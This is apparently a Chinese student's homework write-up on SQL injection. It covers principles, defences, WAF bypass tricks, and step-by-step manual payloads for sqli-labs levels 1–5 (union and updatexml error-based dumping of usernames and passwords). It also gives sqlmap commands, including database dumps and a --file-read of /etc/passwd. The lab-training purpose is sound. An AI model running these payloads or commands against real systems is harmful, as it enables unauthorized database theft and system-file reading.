实训第五天

作业

1.总结

要求:
总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

SQL注入原理

SQL注入是一种通过向应用程序输入恶意SQL代码,进而操控数据库执行非预期操作的攻击方式。攻击者通常利用应用程序未正确处理用户输入的漏洞,通过构造特定的输入来改变SQL查询的逻辑,从而获取、修改或删除数据库中的数据。

SQL注入常用函数及含义

在这里插入图片描述

SQL注入防御手段

  • 使用预编译语句,将用户输入作为参数传递,避免直接拼接SQL语句。
  • 对用户输入进行严格的格式检查,测试输入内容的大小和数据类型等,拒绝不符合预期的数据,强制执行适当的限制与转换。
  • 使数据库账户只具备执行其所需操作的最小权限。
  • 不向用户显示详细的错误信息,防止攻击者进行报错注入

SQL注入常用绕过waf的方法

  • 变换提交方式
    • 许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。
    • 因此,可以尝试将攻击载荷通过不同的提交方式进行发送。
  • 大小写替换
    • 利用WAF规则可能不区分大小写,
    • 可将攻击语句中的关键字进行大小写替换。
  • 编码绕过
    • WAF规则可能无法完全解析编码后的攻击载荷,
    • 可对SQL关键字使用URL编码、Base64编码、Unicode编码等方式进行编码。
  • 变换事件函数
    • WAF会重点识别触发JavaScript代码执行的事件函数字段,如onclick。
    • 故可变换事件函数名称或利用其他不常见的事件函数。
  • 添加注释
    • 使用SQL注释符(如–、#)或HTML/JavaScript注释(如 、//),来绕过WAF对特定关键字的过滤。
    • 将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。
  • 时间盲注
    • 通过在SQL语句中加入延迟函数(如SLEEP())判断数据库是否存在漏洞,从而绕过某些基本的WAF过滤。

2.sqli-labs通关前5关

要求:
sqli-labs通关前5关并写出解题步骤,必须手工过关,禁止使用sqlmap

配置sqli-labs

检查了db-creds.inc文件中账号密码配置正确

访问sqli-labs,进入设置数据库

发现报错

更改php版本到5.3.29,进行重启

重新设置数据库

第一关

判断注入点类型,输入1’ 会报错 ,即说明是字符型数据

判断字段数量,从1开始尝试

由此,此表有3列

?id=-1'union select 1,2,3--+  

输入的1没有显示,输入的2显示在name一行,输入的3显示在password一行

?id=-1'union select 1,database(),version()--+

可以知道数据库名称是security、数据库版本是5.7.26

这里的数字1是占位符,用来匹配原始查询中的列数。攻击者需要确保返回的列数与原始查询一致,以避免 SQL 错误。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查询到数据库表名有4个

查询数据库中各表的列名

可以看见有username和password这两个列表

-1'union select 1,2,group_concat(' ',username,'%20 ',password) from users--+

其中使用group_concat()让账号和密码以指定格式显示

第二关

判断注入数据的类型

输入id=1‘,会报错

输入id=3.1,不会报错,只是查询不到数据,所以数据类型应该是数字型

输入 id=1 order by 3,有输出的内容

输入 /?id=1 order by 4,报错,所以字段数量是3

输入 id=1 union select 1,2,3前端没有回显

输入 id=1 and 1=2 union select 1,2,3–+ 就有回显

输入 id=3.1 union select 1,2,3–+也有回显

:::info
这是因为,当前面的查询语句失败,会把后一句的查询语句的结果显示出来。即可找到数据的回显位置

:::

 id=3.1 union select 1,version(),database()--+		

id=3.1 union select group_concat(table_name) from information_schema.tables where table_schema=database()--+

?id=3.1 union select 1,1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

即,查到有3列

?id=3.1 union select 1,1,group_concat(id,'%20 ',username,'%20 ',password) from users--+

第三关

1.判断是否存在注入点,且判断其数据类型

由此判断数据类型是字符型

加两个单引号不会报错,加一个会报错,说明后台会对用户输入内容自动加上单引号。

2.判断字段数量

由此可看出字段数量是3

3.判断字段前端回显位置

4.判断数据库信息

5.查找表格的名称

6.查找表格的列名

7.查找表内数据

第四关

1.判断是否存在注入点,且判断其数据类型

由此,可以判断数据类型是字符型

2.判断字段数量

3.判断字段前端回显位置

4.判断数据库信息

5.查找表格的名称

6.查找表格的列名

7.查找表内数据

第五关(报错注入)

1.判断是否存在注入点,且判断其数据类型

字符型且闭合为 单引号’ 闭合

2.判断字段数量

有3个字段

3.判断字段前端回显位置

此时没有回显

4.查看报错函数是否可用

?id=1' and updatexml(1,0x7e,3) --+

页面正常报错,可以使用报错注入的方法

5.脱库——获取数据库信息

?id=1' and updatexml(1,
	substr(
      concat(0x7e,
          (select group_concat(schema_name) 
          from information_schema.schemata)
       )
	,1,999)
,3) -- +

UPDATEXML()
0x7e 是十六进制值,对应于字符 ~
GROUP_CONCAT(schema_name) 将所有数据库的名称连接成一个字符串。
SUBSTR(arr, begin, length)


据观察,此处可能由报错的字符长度限制,此处字符长度限制应该是34字节,实际有效内容32字节

查询看到数据库sys,security,pikachu,information_schema, challenges,dvwa, mysql,performance_schema

and updatexml(1,
	substr(
      concat(0x7e,
          (select count(schema_name) 
          from information_schema.schemata)
       )
	,1,999)
,3) -- +


通过查询所得的数据库个数和查询结果一致

5.脱库——获取数据库中的表格信息

and updatexml(1,
	substr(
      concat(0x7e,
          (select count(table_name) 
          from information_schema.tables
          where table_schema="security")
       )
	,1,32)
,3) -- +

由此知道security数据库中有4个表格

and updatexml(1,
	substr(
      concat(0x7e,
          (select group_concat(table_name) 
           from information_schema.tables
           where table_schema="security")
       )
	,1,31)
,3) -- +

由此,可知,该数据库有四个表格emails,referers,uagents,users

5.脱库——获取表格中的字段信息

and updatexml(1,
	substr(
      concat(0x7e,
          (select group_concat(column_name) 
          from information_schema.columns
           where table_schema="security" and table_name="users")
       )
	,1,31)
,3) --+

由此,可知users表中有字段id,username,password

5.脱库——获取表格中的数据

and updatexml(1,
	concat(0x7e,(
        select group_concat(username,’ ’,password) 
        from security.users )
     ),
3) -- +

3.总结SQLi的手工注入的步骤

注入字段特征
结束正常执行的SQL语句?id=1'
连接注入的SQL语句and …… union ……
or ……
占位,帮助内容显示
注释,忽略后面的SQL语句--+
  1. 识别注入点,判断语句数据类型

    ——确定以何格式可以结束原sql语句,并使用别的sql语句

    id=1'(报错)
    
    id=1' AND '1'='2'(验证)
    

    注入点常出现在登录、注册、留言、验证用户是否所属、查询历史信息、订单操作的相关界面中

  2. 利用网页报错,判断原SQL语句执行结果的字段数

    id=1 order by 3
    //如果正常运行,则说明该表至少有 3 列。
    //如果返回错误信息,例如“错误:没有这样的列”,则说明该表少于 3 列。
    
  3. 判断是否有字段的前端回显、选择合适的注入方法以及注入语句
    a.联合注入——有回显
    利用网页回显,显示数据库信息
    union select 1,2,3[到上一步中查询到的字段最大数量]

    b. 报错注入——没有回显,报错函数可用
    利用报错内容,显示数据库信息
    updatexml(1,0x7e,3)

    c. 布尔盲注——没有回显,返回True或False
    利用返回的True或False
    1)推测数据长度 length(database())>=1
    2)测试数据的值是否是目标字符substr(database(),1,1)='s'

    d. 时间盲注——页面不会返回错误信息,只会回显一种界面
    利用页面的响应时间来判断条件是否正确

  4. 脱库——获取数据库信息、数据

    1.查看数据库信息

    2.查找表格的名称

    3.查找表格的列名

    4.查找表内数据

4.使用sqlmap通过或验证第六关

1.查看存在的注入类型以及数据库相关信息

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-6/?id=1'" 

2.查看所有数据库

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-6/?id=1" –dbs

3、查看当前使用的数据库

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-6/?id=1" --current-db

4、查看「数据表」

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-6/?id=1" -D 'security' --tables

5、查看「字段」

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-6/?id=1"  -D 'security' -T 'users' --columns

6、查看「数据」

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-6/?id=1"  -D 'security' -T 'users' -C 'username,password' --dump

知识点总结

SQL注入分类

  1. 按照注入点——数字型、字符型

  2. 按照注入请求方式

    GET型

    POST型

    COOKIE型

    HTTP头注入(XFF注入、UA注入、REFERER注入)

  3. 按照响应方式——基于错误的 SQL 注入、盲注

  4. 依据获取信息的方式分类

    基于布尔的盲注

    基于时间的盲注

    基于报错的注入

    联合查询注入

    堆查询注入 (可同时执行多条语句)

注入技巧

联合注入、报错注入、盲注、二次注入、宽字节注入……

information_schema

是一个虚拟数据库,提供了数据库服务器中所有其他数据库和对象的信息。

SCHEMATA:
包含所有数据库(模式)的信息
示例字段:SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME, DEFAULT_COLLATION_NAME

TABLES:
包含所有表的信息,包括表的类型(如基表、视图等)
示例字段:TABLE_NAME, TABLE_TYPE, ENGINE

COLUMNS:
包含所有列的信息,描述每个表中的列
示例字段:TABLE_NAME, COLUMN_NAME, DATA_TYPE, CHARACTER_MAXIMUM_LENGTH。

KEY_COLUMN_USAGE:
描述用于索引的列,包括主键和外键
示例字段:TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME

ROUTINES:
包含所有存储过程和函数的信息
示例字段:ROUTINE_NAME, ROUTINE_TYPE, DATA_TYPE

USER_PRIVILEGES:
列出当前用户权限的信息
示例字段:GRANTEE, TABLE_CATALOG, PRIVILEGE_TYPE

information_schema.SCHEMATA

information_schema 数据库的一部分

在 information_schema.SCHEMATA 表中,常见的字段包括:

  • CATALOG_NAME: 数据库目录的名称(通常是 def)。
  • SCHEMA_NAME: 数据库的名称。
  • DEFAULT_CHARACTER_SET_NAME: 数据库的默认字符集。
  • DEFAULT_COLLATION_NAME: 数据库的默认排序规则。
  • SQL_PATH: SQL 路径(通常为空)。

table_schema 用于指定表的所属数据库
(在 information_schema.tables 和 information_schema.columns 等视图)

sqlmap

使用教程:

SQLmap使用教程图文教程(非常详细)从零基础入门到精通,看完这一篇就够了。-CSDN博客

思路

测试目标网站是否存在SQL注入漏洞sqlmap -u http://www.example.com/index.php?id=1 --batch --dbs
确认注入点sqlmap -u [http://www.example.com/index.php?id=1](http://www.example.com/index.php?id=1) --batch --dbs
获取数据库信息sqlmap -u [http://www.example.com/index.php?id=1](http://www.example.com/index.php?id=1) --batch -D dbname --tables
获取表信息sqlmap -u [http://www.example.com/index.php?id=1](http://www.example.com/index.php?id=1) --batch -D dbname -T tablename --columns
获取列信息sqlmap -u [http://www.example.com/index.php?id=1](http://www.example.com/index.php?id=1) --batch -D dbname -T tablename -C columnname --dump

高级用法

除了基本的SQL注入攻击,SQLMap还提供了许多高级功能,如POST请求注入、Cookie注入、文件读取等。

(1)POST请求注入
如果目标网站使用POST请求提交数据,则可以使用以下命令进行注入攻击:

sqlmap -u " http://www.example.com/login.php" --data="username=admin&password=123456" --batch

“–data”表示要发送的POST数据。

(2)Cookie注入
如果目标网站使用Cookie来维护会话状态,则可以使用以下命令进行注入攻击:

sqlmap -u " http://www.example.com/index.php" --cookie="PHPSESSID=123456" --batch

“–cookie”表示要使用的Cookie。

(3)文件读取
如果目标网站允许访问文件系统,则可以使用以下命令读取指定文件:

sqlmap -u " http://www.example.com/index.php?id=1" --file-read="/etc/passwd" --batch

“–file-read”表示要读取的文件名。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值